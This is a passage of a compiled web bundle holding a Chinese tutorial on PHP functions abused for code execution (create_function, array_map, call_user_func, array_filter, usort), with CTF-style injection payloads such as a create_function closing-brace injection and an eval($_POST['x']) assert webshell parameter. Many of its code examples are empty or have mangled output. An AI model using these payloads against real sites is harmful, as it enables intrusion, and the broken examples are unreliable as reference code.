0\u76ee\u7684\uff0c\u6bd4\u5982\u901a\u8fc7GET\u4f20\u53c2\u65f6\u6211\u4eec\u7684\u53c2\u6570\u53ef\u4ee5\u4f20\u5165",(0,r.jsx)(n.code,{children:"\\S*"}),"\u4ece\u800c\u8fbe\u5230\u540c\u6837\u76ee\u7684\u3002\u6240\u4ee5\u4ee5\u540e\u518d\u9047\u5230\u8fd9\u4e2a\u51fd\u6570\u7684\u65f6\u5019\uff0c\u8981\u7559\u4e2a\u5fc3\u773c\u4e86\u3002\u4e0d\u8fc7\uff0c\u8fd9\u91cc\u8981\u8865\u5145\u4e00\u70b9\uff0c\u5c31\u662f",(0,r.jsx)(n.code,{children:"preg_replace()"}),"\u51fd\u6570\u5728PHP 7 \u540e\u4fbf\u4e0d\u518d\u652f\u6301\uff0c\u4f7f\u7528",(0,r.jsx)(n.code,{children:"preg_replace_callback()"}),"\u8fdb\u884c\u66ff\u6362\u4e86\uff0c\u53d6\u6d88\u4e86\u4e0d\u5b89\u5168\u7684",(0,r.jsx)(n.code,{children:"\\e"}),"\u6a21\u5f0f\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"create_function",children:"create_function()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"create_function()"}),"\u7528\u6765\u521b\u5efa\u4e00\u4e2a\u533f\u540d\u51fd\u6570"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"create_function( string $args, string $code) : string\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-1",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"string $args \u58f0\u660e\u7684\u51fd\u6570\u53d8\u91cf\u90e8\u5206"}),"\n",(0,r.jsx)(n.li,{children:"string $code \u8981\u6267\u884c\u7684\u4ee3\u7801"}),"\n"]}),"\n",(0,r.jsx)(n.h5,{id:"\u8fd4\u56de\u503c-1",children:"\u8fd4\u56de\u503c"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd4\u56de\u552f\u4e00\u7684\u51fd\u6570\u540d\u79f0\u4f5c\u4e3a\u5b57\u7b26\u4e32\u6216\u8005\u8fd4\u56deFALSE\u9519\u8bef"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"create_function()"}),"\u51fd\u6570\u5728\u5185\u90e8\u6267\u884c",(0,r.jsx)(n.code,{children:"eval()"}),"\u51fd\u6570\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u70b9\uff0c\u6765\u6267\u884c\u4ee3\u7801\u3002\u5f53\u7136\u6b63\u56e0\u4e3a\u5b58\u5728\u5b89\u5168\u95ee\u9898\uff0c\u6240\u4ee5\u5728PHP 7.2 \u4e4b\u540e\u7684\u7248\u672c\u4e2d\u5df2\u7ecf\u5e9f\u5f03\u4e86",(0,r.jsx)(n.code,{children:"create_function()"}),"\u51fd\u6570\uff0c\u4f7f\u7528\u533f\u540d\u51fd\u6570\u6765\u4ee3\u66ff\u3002\u6240\u4ee5\u8fd9\u91cc\u4e3a\u4e86\u6f14\u793a\u8fd9\u4e2a\u51fd\u6570\uff0c\u6211\u91c7\u7528\u7684\u662fPHP 5 \u7684\u73af\u5883\u3002\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u5230\u5e95\u600e\u4e48\u7528\u5462\uff1f"]}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u6765\u770b\u6211\u5199\u7684\u4e00\u4e2a\u7b80\u5355\u7684\u6848\u4f8b"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>desktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u770b\u5230\u4f7f\u7528\u6b64\u51fd\u6570\u4e3a\u6211\u4eec\u76f8\u5f53\u4e8e\u521b\u9020\u4e86\u4e00\u4e2a\u533f\u540d\u7684\u51fd\u6570\uff0c\u7ed9\u5b83\u8d4b\u4ee5\u76f8\u5e94\u7684\u53d8\u91cf\uff0c\u5c31\u6267\u884c\u4e86\u6211\u4eec\u8981\u6267\u884c\u7684\u4ee3\u7801\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u63a5\u4e0b\u6765\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u6848\u4f8b"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a\u4e3b\u8981\u529f\u80fd\u5c31\u662f\u5b9e\u73b0\u6392\u5e8f\uff0c\u8fd9\u6bb5\u4ee3\u7801\u5c31\u8c03\u7528\u4e86",(0,r.jsx)(n.code,{children:"create_function()"}),"\u51fd\u6570\uff0c\u90a3\u4e48\u6211\u4eec\u80fd\u5426\u5229\u7528\u8fd9\u4e2a\u51fd\u6570\u6267\u884c\u6211\u4eec\u60f3\u8981\u6267\u884c\u7684\u4ee3\u7801\u5462\uff1f"]}),"\n",(0,r.jsx)(n.p,{children:"\u5f53\u7136\u53ef\u4ee5\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5728\u4f20\u53c2\u65f6\u5c06\u524d\u9762\u7684\u7b26\u53f7\u95ed\u5408\uff0c\u7136\u540e\u8f93\u5165\u6211\u4eec\u60f3\u8981\u6267\u884c\u7684\u4ee3\u7801\u5373\u53ef\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"payload='\"]);}phpinfo();/*\n\u6267\u884cpayload\u524d\uff1a$sort_function = ' return 1 * ' . $sorter . '($a[\"' . $sort_by . '\"], $b[\"' . $sort_by . '\"]);';\n\u6267\u884cpayloda\u540e\uff1a$sort_function = ' return 1 * ' . $sorter . '($a[\"' . $sort_by '\"]);}phpinfo();/*\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u770b\u5230\u8fd9\u91cc\uff0c\u4f60\u53ef\u80fd\u4f1a\u6709\u7a0d\u5fae\u7591\u60d1\uff0c\u5c31\u662f\u4f60\u95ed\u5408\u5c31\u95ed\u5408\u5427\uff0c\u4e3a\u4ec0\u4e48\u540e\u9762\u591a\u4e86\u4e2a",(0,r.jsx)(n.code,{children:";}"}),"\uff0c\u4e0d\u77e5\u9053\u4f60\u662f\u5426\u60f3\u5230\u4e86\u8fd9\u4e00\u70b9\uff1f"]}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u6211\u5c31\u6765\u5206\u6790\u4e00\u4e0b\u8fd9\u4e2a\uff0c\u4e0a\u9762\u7684\u90a3\u6bb5\u6267\u884c\u4ee3\u7801\uff0c\u5b9e\u9645\u4e0a\u5c31\u662f\u4e00\u4e2a\u533f\u540d\u51fd\u6570\u7684\u521b\u5efa\uff0c\u65e2\u7136\u662f\u4e00\u4e2a\u51fd\u6570\uff0c\u6ce8\u610f\u662f\u4e00\u4e2a\u51fd\u6570\uff0c\u90a3\u4e48\u4f60\u89c9\u5f97\u6709\u6ca1\u6709\u82b1\u62ec\u53f7\u5462\uff1f\u770b\u6211\u5982\u4e0b\u4ee3\u7801"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230\uff0c\u6211\u4eec\u501f\u7528\u4e86\u533f\u540d\u51fd\u6570\u7684\u4f4d\u7f6e\uff0c\u63d2\u5165\u4e86\u6211\u4eec\u8981\u6267\u884c\u7684\u4ee3\u7801\uff0c\u7136\u540e\u7b49\u8fd9\u4e2a\u533f\u540d\u51fd\u6570\u88ab",(0,r.jsx)(n.code,{children:"create_function"}),"\u5f53\u4f5c",(0,r.jsx)(n.code,{children:"$code"}),"\u6267\u884c\u7684\u65f6\u5019\uff0c\u662f\u4e0d\u662f\u4ee3\u7801\u5c31\u88ab\u6267\u884c\u4e86\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648342.png",alt:"img"})}),"\n",(0,r.jsxs)(n.p,{children:["\u90a3\u4e48",(0,r.jsx)(n.code,{children:"creat_function"}),"\u51fd\u6570\u8fd8\u6709\u522b\u7684\u7528\u6cd5\u5417\uff1f\u6211\u4eec\u5c06\u4e0a\u9762\u4e00\u4e2a\u6848\u4f8b\u7b80\u5355\u7684\u4fee\u6539\u4e00\u4e0b\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u4ee3\u7801\u7b80\u5355\u7684\u6765\u770b\uff0c\u6211\u4eec\u53ea\u9700\u8981\u6267\u884c",(0,r.jsx)(n.code,{children:"$onefunc"}),"\u5c31\u80fd\u5f97\u5230flag\uff0c\u4f46\u662f\u6211\u4eec\u4e0d\u77e5\u9053\u8fd9\u4e2a\u51fd\u6570\u7684\u540d\u79f0\u3002\u5982\u679c\u5728\u4e0d\u77e5\u9053\u51fd\u6570\u540d\u79f0\u7684\u60c5\u51b5\u4e0b\u6267\u884c\u51fd\u6570\u5462\uff1f\u8fd9\u91cc\u5c31\u7528\u5230\u4e86",(0,r.jsx)(n.code,{children:"creat_function"}),"\u51fd\u6570\u7684\u4e00\u4e2a\u6f0f\u6d1e\u3002\u8fd9\u4e2a\u51fd\u6570\u5728creat\u4e4b\u540e\u4f1a\u81ea\u52a8\u751f\u6210\u4e00\u4e2a\u51fd\u6570\u540d\u4e3a",(0,r.jsx)(n.code,{children:"%00lambda_%d"}),"\u7684\u533f\u540d\u51fd\u6570\u3002",(0,r.jsx)(n.code,{children:"%d"}),"\u7684\u503c\u662f\u4e00\u76f4\u9012\u589e\u7684\uff0c\u4f1a\u4e00\u76f4\u9012\u589e\u5230\u6700\u5927\u957f\u5ea6\u76f4\u5230\u7ed3\u675f\u3002\u6240\u4ee5\u8fd9\u91cc\u53ef\u4ee5\u901a\u8fc7\u591a\u8fdb\u7a0b\u6216\u8005\u591a\u7ebf\u7a0b\u8bbf\u95ee\uff0c\u4ece\u800c\u770b\u5230flag\u3002"]}),"\n",(0,r.jsxs)(n.p,{children:["\u6240\u4ee5\uff0c\u4ee5\u540e\u518d\u4ee3\u7801\u4e2d\u5982\u679c\u770b\u5230\u8c03\u7528",(0,r.jsx)(n.code,{children:"create_function()"}),"\u8981\u5c0f\u5fc3\u4e00\u70b9\uff0c\u4f46\u662f\u5982\u679c\u662fCTF\u9898\u76ee\u7684\u8bdd\uff0c\u4e0d\u4f1a\u8fd9\u4e48\u76f4\u63a5\u5c31\u5427\u8fd9\u4e2a\u51fd\u6570\u66b4\u9732\u7ed9\u4f60\uff0c\u5b83\u53ef\u80fd\u4f1a\u7528\u5230\u62fc\u63a5\u6216\u8005\u66ff\u6362\u6765\u6784\u9020\u8fd9\u4e2a\u51fd\u6570\u3002\u6700\u540e\u518d\u5f3a\u8c03\u4e00\u4e0b\uff0c",(0,r.jsx)(n.code,{children:"create_function"}),"\u51fd\u6570\u5728PHP 7.2 \u7248\u672c\u4e4b\u540e\u5c31\u5df2\u7ecf\u88ab\u5e9f\u5f03\u4e86\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"array_map",children:"array_map()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"array_map()"}),"\u4e3a\u6570\u7ec4\u7684\u6bcf\u4e2a\u5143\u7d20\u5e94\u7528\u56de\u8c03\u51fd\u6570"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"array_map( callable $callback, array $array1[, array $...] ) : array\n"})}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.strong,{children:"array_map()"}),"\uff1a\u8fd4\u56de\u6570\u7ec4\uff0c\u662f\u4e3a ",(0,r.jsx)(n.code,{children:"array1"})," \u6bcf\u4e2a\u5143\u7d20\u5e94\u7528 ",(0,r.jsx)(n.code,{children:"callback"}),"\u51fd\u6570\u4e4b\u540e\u7684\u6570\u7ec4\u3002",(0,r.jsx)(n.code,{children:"callback"})," \u51fd\u6570\u5f62\u53c2\u7684\u6570\u91cf\u548c\u4f20\u7ed9",(0,r.jsx)(n.code,{children:"array_map()"})," \u6570\u7ec4\u6570\u91cf\uff0c\u4e24\u8005\u5fc5\u987b\u4e00\u6837\u3002"]}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-2",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"callback\uff1a\u56de\u8c03\u51fd\u6570\uff0c\u5e94\u7528\u5230\u6bcf\u4e2a\u6570\u7ec4\u91cc\u7684\u6bcf\u4e2a\u5143\u7d20\u3002"}),"\n",(0,r.jsxs)(n.li,{children:["array1\uff1a\u6570\u7ec4\uff0c\u904d\u5386\u8fd0\u884c",(0,r.jsx)(n.code,{children:"callback"}),"\u51fd\u6570\u3002"]}),"\n",(0,r.jsxs)(n.li,{children:["...\uff1a\u6570\u7ec4\u5217\u8868\uff0c\u6bcf\u4e2a\u90fd\u904d\u5386\u8fd0\u884c",(0,r.jsx)(n.code,{children:"callback"}),"\u51fd\u6570\u3002"]}),"\n"]}),"\n",(0,r.jsx)(n.h5,{id:"\u8fd4\u56de\u503c-2",children:"\u8fd4\u56de\u503c"}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd4\u56de\u6570\u7ec4\uff0c\u5305\u542b",(0,r.jsx)(n.code,{children:"callback"}),"\u51fd\u6570\u5904\u7406\u4e4b\u540e",(0,r.jsx)(n.code,{children:"array1"}),"\u7684\u6240\u6709\u5143\u7d20\u3002"]}),"\n",(0,r.jsxs)(n.p,{children:["\u8bf4\u4e86\u8fd9\u4e48\u591a\u5b98\u65b9\u7684\u51fd\u6570\u89e3\u91ca\uff0c\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u5230\u5e95\u5982\u4f55\u4f7f\u7528\u5462\uff1f\u7b80\u800c\u8a00\u4e4b\uff0c\u8fd9\u4e2a\u51fd\u6570\u7684\u4f5c\u7528\u53ef\u4ee5\u8fd9\u4e48\u76f4\u767d\u7684\u89e3\u91ca\u4e00\u4e0b\u3002\u4f60\u672c\u6765\u6709\u4e00\u4e2a\u6570\u7ec4\uff0c\u7136\u540e\u6211\u901a\u8fc7",(0,r.jsx)(n.code,{children:"array_map"}),"\u51fd\u6570\u5c06\u4f60\u8fd9\u4e2a\u6570\u7ec4\u5f53\u4f5c\u53c2\u6570\u4f20\u5165\uff0c\u7136\u540e\u8fd4\u56de\u4e00\u4e2a\u65b0\u7684\u6570\u7ec4\u3002\u89c1\u4e0b\u56fe\u3002"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648343.png",alt:"img"})}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\narray(5) {\n [0]=>\n int(1)\n [1]=>\n int(4)\n [2]=>\n int(9)\n [3]=>\n int(16)\n [4]=>\n int(25)\n}\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u901a\u8fc7\u4e0a\u8ff0\u4ee3\u7801\uff0c\u6211\u4eec\u5927\u6982\u77e5\u9053\u8fd9\u4e2a\u51fd\u6570\u5c31\u662f\u8c03\u7528\u56de\u8c03\u51fd\u6570\uff08\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\uff09\u6765\u5b9e\u73b0\u5bf9\u73b0\u6709\u6570\u7ec4\u7684\u64cd\u4f5c\uff0c\u4ece\u800c\u5f97\u5230\u4e00\u4e2a\u65b0\u7684\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u529f\u80fd\u6211\u77e5\u9053\u4e86\uff0c\u53ef\u662f\u8fd9\u4e2a\u548c\u4ee3\u7801\u6267\u884c\u6709\u4ec0\u4e48\u5173\u7cfb\u5462\uff1f\u5982\u4f55\u80fd\u591f\u5229\u7528\u8fd9\u4e2a\u51fd\u6570\u6267\u884c\u4ee3\u7801\u5462\uff1f\u4e14\u770b\u4e0b\u9762\u6240\u793a\u4ee3\u7801\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\narray(1) {\n [0]=>\n string(21) \"desktop-m61j5j6\\admin\"\n}\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u6bb5\u4ee3\u7801\u5c31\u662f\uff0c\u901a\u8fc7",(0,r.jsx)(n.code,{children:"array_map()"}),"\u8fd9\u4e2a\u51fd\u6570\uff0c\u6765\u8c03\u7528\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\uff0c\u800c\u7528\u6237\u8fd9\u91cc\u7684\u56de\u8c03\u51fd\u6570\u5176\u5b9e\u5c31\u662f",(0,r.jsx)(n.code,{children:"system"}),"\u51fd\u6570\uff0c\u90a3\u4e48\u5c31\u76f8\u5f53\u4e8e\u6211\u4eec\u7528",(0,r.jsx)(n.code,{children:"system"}),"\u51fd\u6570\u6765\u5bf9\u65e7\u6570\u7ec4\u8fdb\u884c\u64cd\u4f5c\uff0c\u5f97\u5230\u65b0\u7684\u6570\u7ec4\uff0c\u90a3\u4e48\u8fd9\u4e2a\u65b0\u7684\u6570\u7ec4\u7684\u7ed3\u679c\u5c31\u662f\u6211\u4eec\u60f3\u8981\u7684\u547d\u4ee4\u6267\u884c\u7684\u7ed3\u679c\u4e86\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"call_user_func",children:"call_user_func()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"call_user_func()"}),"\u662f\u628a\u7b2c\u4e00\u4e2a\u53c2\u6570\u4f5c\u4e3a\u56de\u8c03\u51fd\u6570\u8c03\u7528"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-3",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.p,{children:["\u7b2c\u4e00\u4e2a\u53c2\u6570",(0,r.jsx)(n.code,{children:"callback"}),"\u662f\u88ab\u8c03\u7528\u7684\u56de\u8c03\u51fd\u6570\uff0c\u5176\u4f59\u53c2\u6570\u662f\u56de\u8c03\u51fd\u6570\u7684\u53c2\u6570\u3002"]}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"callback\uff1a\u5373\u5c06\u88ab\u8c03\u7528\u7684\u56de\u8c03\u51fd\u6570"}),"\n",(0,r.jsx)(n.li,{children:"parameter\uff1a\u4f20\u5165\u56de\u8c03\u51fd\u6570\u7684\u53c2\u6570"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u8fd8\u662f\u975e\u5e38\u597d\u7406\u89e3\u7684\uff0c\u770b\u4e00\u6bb5\u7b80\u5355\u7684\u793a\u4f8b\u4ee3\u7801"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\n\u6211\u662f\u53c2\u6570\u6211\u662f\u53c2\u6570\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u53ef\u4ee5\u770b\u5230\u6b64\u51fd\u6570\u4f5c\u7528\u5c31\u662f\u8c03\u7528\u4e86\u7b14\u8005\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\u3002\u90a3\u4e48\u8fd9\u4e2a\u5982\u4f55\u5b9e\u73b0\u4ee3\u7801\u6267\u884c\u5462\uff1f\u597d\u8bf4\uff0c\u4f60\u5728\u524d\u9762\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\u4e2d\u52a0\u5165\u80fd\u6267\u884c\u547d\u4ee4\u7684\u4ee3\u7801\u4e0d\u4e45\u53ef\u4ee5\u4ee3\u7801\u6267\u884c\u4e86\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.h4,{id:"call_user_func_array",children:"call_user_func_array()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u540d\u79f0\u8ddf\u4e0a\u6ca1\u4ec0\u4e48\u5927\u7684\u5dee\u522b\uff0c\u552f\u4e00\u7684\u533a\u522b\u5c31\u5728\u4e8e\u53c2\u6570\u7684\u4f20\u9012\u4e0a\uff0c\u8fd9\u4e2a\u51fd\u6570\u662f\u628a\u4e00\u4e2a\u6570\u7ec4\u4f5c\u4e3a\u56de\u8c03\u51fd\u6570\u7684\u53c2\u6570"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"call_user_func_array( callable $callback, array $param_arr) : mixed\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-4",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"callback\uff1a\u88ab\u8c03\u7528\u7684\u56de\u8c03\u51fd\u6570"}),"\n",(0,r.jsx)(n.li,{children:"param_arr\uff1a\u8981\u88ab\u4f20\u5165\u56de\u8c03\u51fd\u6570\u7684\u6570\u7ec4\uff0c\u8fd9\u4e2a\u6570\u7ec4\u9700\u8981\u662f\u7d22\u5f15\u6570\u7ec4"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\u4ee3\u7801"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\n\u6211\u662f\u53c2\u6570\u6211\u662f\u53c2\u6570```\n\n\n\u793a\u4f8b\u4ee3\u7801\uff1a\n\n```php\n\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.h4,{id:"array_filter",children:"array_filter()"}),"\n",(0,r.jsx)(n.p,{children:"\u7528\u56de\u8c03\u51fd\u6570\u8fc7\u6ee4\u6570\u6570\u7ec4\u4e2d\u7684\u5355\u5143"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u4f9d\u6b21\u5c06",(0,r.jsx)(n.code,{children:"array"}),"\u6570\u7ec4\u4e2d\u7684\u6bcf\u4e2a\u503c\u4f20\u5230",(0,r.jsx)(n.code,{children:"callback"}),"\u51fd\u6570\u3002\u5982\u679c",(0,r.jsx)(n.code,{children:"callback"}),"\u51fd\u6570\u8fd4\u56de",(0,r.jsx)(n.code,{children:"true"}),"\uff0c\u5219",(0,r.jsx)(n.code,{children:"array"}),"\u6570\u7ec4\u7684\u5f53\u524d\u503c\u4f1a\u88ab\u5305\u542b\u5728\u8fd4\u56de\u7684\u7ed3\u679c\u6570\u7ec4\u4e2d\u3002\u6570\u7ec4\u7684\u952e\u540d\u4fdd\u7559\u4e0d\u53d8\u3002"]}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-5",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"array\uff1a\u8981\u5faa\u73af\u7684\u6570\u7ec4"}),"\n",(0,r.jsxs)(n.li,{children:["callback\uff1a\u4f7f\u7528\u7684\u56de\u8c03\u51fd\u6570\u3002\u5982\u679c\u6ca1\u6709\u63d0\u4f9b",(0,r.jsx)(n.code,{children:"callback"}),"\u51fd\u6570\uff0c\u5c06\u5220\u9664",(0,r.jsx)(n.code,{children:"array"}),"\u4e2d\u6240\u6709\u7b49\u503c\u4e3aFALSE\u7684\u6761\u76ee\u3002"]}),"\n",(0,r.jsxs)(n.li,{children:["flag\uff1a\u51b3\u5b9a",(0,r.jsx)(n.code,{children:"callback"}),"\u63a5\u6536\u7684\u53c2\u6570\u5f62\u5f0f"]}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff08\u8fd9\u91cc\u770b\u5b98\u65b9\u7684\u5c31\u884c\uff0c\u5f88\u8be6\u7ec6\uff09\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);\n$array2 = array(6, 7, 8, 9, 10, 11, 12);\n\necho "Odd :\\n";\nprint_r(array_filter($array1, "odd"));\necho "Even:\\n";\nprint_r(array_filter($array2, "even"));\n?> \n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nOdd :\nArray\n(\n [a] => [c] => [e] => )\nEven:\nArray\n(\n [0] => [2] => [4] => [6] => )\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u4ece\u4e0a\u9762\u4ee3\u7801\u6211\u4eec\u77e5\u9053\uff0c\u8fd9\u4e2a\u51fd\u6570\u4f5c\u7528\u5176\u5b9e\u5c31\u662f\u8fc7\u6ee4\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u8fc7\u6ee4\u8c03\u7528\u7684\u662f\u51fd\u6570\uff0c\u800c\u88ab\u8fc7\u6ee4\u7684\u662f\u4f20\u5165\u7684\u53c2\u6570\u3002\u5230\u8fd9\u91cc\u4f60\u5fc3\u91cc\u6709\u6ca1\u6709\u4ee3\u7801\u6267\u884c\u7684\u96cf\u5f62\u4e86\uff1f"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.h4,{id:"usort",children:"usort()"}),"\n",(0,r.jsx)(n.p,{children:"\u4f7f\u7528\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u6bd4\u8f83\u51fd\u6570\u5bf9\u6570\u7ec4\u4e2d\u7684\u503c\u8fdb\u884c\u6392\u5e8f"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"usort( array &$array, callable $value_compare_func) : bool\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-6",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"array\uff1a\u8f93\u5165\u7684\u6570\u7ec4"}),"\n",(0,r.jsx)(n.li,{children:"cmp_function\uff1a\u5728\u7b2c\u4e00\u4e2a\u53c2\u6570\u5c0f\u4e8e\u3001\u7b49\u4e8e\u6216\u5927\u4e8e\u7b2c\u4e8c\u4e2a\u53c2\u6570\u65f6\uff0c\u8be5\u6bd4\u8f83\u51fd\u6570\u5fc5\u987b\u76f8\u5e94\u5730\u8fd4\u56de\u4e00\u4e2a\u5c0f\u4e8e\u3001\u7b49\u4e8e\u6216\u5927\u4e8e0\u7684\u6570"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray\n(\n [0] => [1] => [2] => [3] => [4] => )\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u53ef\u89c1\u5b9e\u73b0\u4e86\u9006\u5e8f\u7684\u529f\u80fd\u3002\u90a3\u4e48\u5018\u82e5\u6211\u4eec\u628a\u56de\u8c03\u51fd\u6570\u8bbe\u8ba1\u6210\u80fd\u591f\u6267\u884c\u4ee3\u7801\u7684\u51fd\u6570\uff0c\u662f\u4e0d\u662f\u5c31\u53ef\u4ee5\u6267\u884c\u6211\u4eec\u60f3\u8981\u7684\u4ee3\u7801\u4e86\u5462\uff1f"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\npayload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert\nPOST\u4f20\u53c2: 